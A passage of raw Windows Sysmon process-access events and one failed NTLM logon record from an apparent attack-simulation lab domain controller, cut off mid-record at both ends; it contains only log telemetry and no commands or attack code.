C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221481,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59087\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp 